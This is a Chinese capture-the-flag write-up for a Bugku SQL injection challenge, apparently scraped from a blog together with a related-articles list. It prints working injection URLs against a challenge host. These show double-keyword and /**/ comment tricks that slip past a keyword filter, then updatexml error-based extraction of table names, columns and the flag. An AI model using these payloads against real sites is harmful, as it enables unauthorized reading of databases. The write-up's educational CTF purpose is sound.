继续补sqli的题
  

  这道题与之前的题的区别是在第二部分中加了一道waf,所以需要特殊的手段来进行注入。
  题目来源:http://123.206.87.240:9004/1ndex.php?id=1
  

第一部分

  通过改变id值我们可以看页面内容的变化。5时提醒可以注入,6以后开始报error:
  
  
  构造1:
  http://123.206.87.240:9004/1ndex.php?id=1%27%20and%201=1%23报错
  构造2:
  http://123.206.87.240:9004/1ndex.php?id=1%27%20or%201=1%23报错
  考虑是过滤了关键词,尝试使用双写绕过:
  构造3:
  http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=1%23
  返回正常。
  
  
  判断字段数:
  http://123.206.87.240:9004/1ndex.php?id=1%27%20oorrder%20by%202%23
  order by 2时返回正常,说明有两个字段。(注意过滤了or关键词,所以order写作oorrder)
  
  判断回显点:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,2%23
  
  
  查看当前数据库:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,database()%23
  
  
  查询该库中所有表:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(table_name) from infoorrmation_schema.tables where table_schema=database())%23
  (注意:information中or要双写:infoorrmation)
  
  
  该库中有两个表,hint表中储存的就是我们改变id值看到的提示。查看flag1表中字段数:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1')%23
  
  该表中有两个字段:flag1和address
  
  查看flag1字段值:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(flag1) from flag1)%23
  
  
  查看address值:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(address) from flag1)%23
  
  进入下一关。
  

第二部分

  第一关主要是union注入加上双写绕过,难度不大,这里就有难度了。
  
  构造:
  http://123.206.87.240:9004/Once_More.php?id=%27
  返回值:

大专栏  Bugku的一道注入

1
  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

  确定注入点,加上双写绕过试试
  构造:
  http://123.206.87.240:9004/Once_More.php?id=1%27%20anandd%201=1%23
  返回值:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'anandd 1=1#'' at line 1

  仍有过滤,尝试用//代替空格,不加双写:
  构造:
  `http://123.206.87.240:9004/Once_More.php?id=1%27/
/and//1=1%23返回正常:
  ![](/img/Bugku的一道注入---多次/11.png)
  
  判断字段数:
  构造:
http://123.206.87.240:9004/Once_More.php?id=1%27/
/order//by//3%23![](/img/Bugku的一道注入---多次/12.png)
  共有两个字段。
  
  判断回显点:
http://123.206.87.240:9004/Once_More.php?id=-1%27/**/union/**/select/**/1,2%23`
  报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select/**/1,2#'' at line 1

  
  GG,过滤了union。尝试大小写绕过,双写绕过,内联注释/*!*/绕过。然而统统GG。放弃union注入。
  
  但是他有报错,我们可以利用这个特点。这里用updatexml函数报错的方法来注入。
  
  构造:
  http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
  
  当前表名为flag2。
  
  构造:
  http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27flag2%27),%27~%27),3)%20%23#
  
  当前表中有两个字段:flag2和address。
  
  查看flag2字段值:
  构造:
  http://123.206.87.240:9004/Once_More.php?id=?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20flag2%20from%20flag2),%27~%27),3)%20%23
  
  得flag:flag{Bugku-sql_6s-2i-4t-bug}
  
  另外这个题也是可以用盲注解决的。
  

updatexml

  updatexml函数格式:UPDATEXML (XML_document, XPath_string, new_value);
  1. 第一个参数:XML_document是String格式,为XML文档对象的名称。
  2. 第二个参数:XPath_string (Xpath格式的字符串)
  3. 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  4. 函数作用:改变文档中符合条件的节点的值

  用该函数注入时需要结合concat()函数,因为concat连出来的字符串不符合XPath_String的格式,所以会报错。
  
  
  

Bugku的一道注入的更多相关文章

  1. bugku逗号过滤注入

    URL:http://120.24.86.145:8002/web15/ 直接给出了源码: <?php error_reporting(0); function getIp(){ $ip = ' ...

  2. bugku的一道图片隐写

    可以看到图片是不完整的就联想到其高宽问题.使用winhex打开 将高里面的01改成11 get flag{He1I0_d4_ba1}

  3. bugku的一道代码审计基础题:eval

    首先看到 include "flag.php",第一反应就应该是文件包含 直接先?hello=file:////etc, 然后啥也没 那就再检查一下代码,eval(var_dump ...

  4. bugku的一道XFF转发代理服务器题 “本地服务器”

    X-Forwarded-For requests包内构造方式: X-Forwarded-For: client1, proxy1, proxy2

  5. [CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)

    记一道布尔注入的题,存在过滤字符. 从题目看应该是一道注入题.提示存在flag表flag列. 输入1和2的返回结果不一样,可能是布尔注入. 简单用万能密码尝试了一下.提示SQL Injection C ...

  6. i春秋-Phone number(union注入+hex转码)

    记一道union注入语句转十六进制的注入题. 这个网站的基本功能就是可以找出跟你用户名相同的注册的人数. 注册登录给了两个显位. 点击check可以显示出有多少人和你用户名相同. 同时在这个页面的源代 ...

  7. [SniperOJ](web)图书管理系统 注入 源码泄露

    0x00 题目概况 题目地址:http://www.sniperoj.cn:10000/ 这是一道注入题,存在git源码泄露,使用githack(freebuf有工具介绍)把源码脱下来,进行审计,然后 ...

  8. 对某道ctf的一点点记录

    题目:http://ctf5.shiyanbar.com/web/pcat/index.php 是一道注入的题,主要利用了offset 和 group by with rollup的知识 1.offs ...

  9. 20165207 Exp9 Web安全基础

    目录 20165207 Exp9 Web安全基础 一.实验过程 1.环境配置 2.代理工具burpsuite 2.1 Http proxies -> Use the intercept 3.sq ...

随机推荐

  1. Django框架(一):MVC设计模式、Django简介

    1. MVC设计模式 MVC设计模式:Model-View-Controller简写. 最早由TrygveReenskaug在1978年提出,是施乐帕罗奥多研究中心(Xerox PARC)在20世纪8 ...

  2. HTML5之FileReader小结

    方法: 方法名 参数 描述 abort none 中断读取 readAsBinaryString file 将文件读取为二进制码 readAsDataURL file 将文件读取为 DataURL r ...

  3. LeetCode——264. 丑数 II

    编写一个程序,找出第 n 个丑数. 丑数就是只包含质因数 2, 3, 5 的正整数. 示例: 输入: n = 10 输出: 12 解释: 1, 2, 3, 4, 5, 6, 8, 9, 10, 12 ...

  4. E、阔力梯的树

    题:https://ac.nowcoder.com/acm/contest/4010/E?&headNav=acm 分析:dsu.贪心方法:考虑插入一个值x,对总体贡献,若查找在序列中左边有值 ...

  5. Qt QPixmap QImage 图片等比例缩放到指定大小

    QPixmap pixmap(path); //pixmap=QPixmap::fromImage(imgShow); pixmap = pixmap.scaled(, , Qt::KeepAspec ...

  6. 实战_4:UI开发工具-WindowBuilder

    介绍: WindowBuilder是谷歌开发的,开发java图形界面的工具,是一个eclipse插件. WindowBuilder支持开发多种形式的图形界面:SWT/JFace.Swing.GWT 安 ...

  7. ModelSerializer补充及ListSerializer

    整体单改 路由层.模型层.序列化层不需要做修改,只需要处理视图层:views.py """ 1) 单整体改,说明前台要提供修改的数据,那么数据就需要校验,校验的数据应该在 ...

  8. F5中设置OA通过F5进行访问设置

  9. 基础_1:RCP基本框架

    Display: Display是一个SWT对象,代表底层图形系统的实现.一个RCP应用程序只需要一个Display对象. Display的主要任务是从操作系统队列中读取事件,传递给RCP的事件监听器 ...

  10. MySQL表查询

    单表查询 表准备 create table emp( id int not null unique auto_increment, name ) not null, sex enum('male',' ...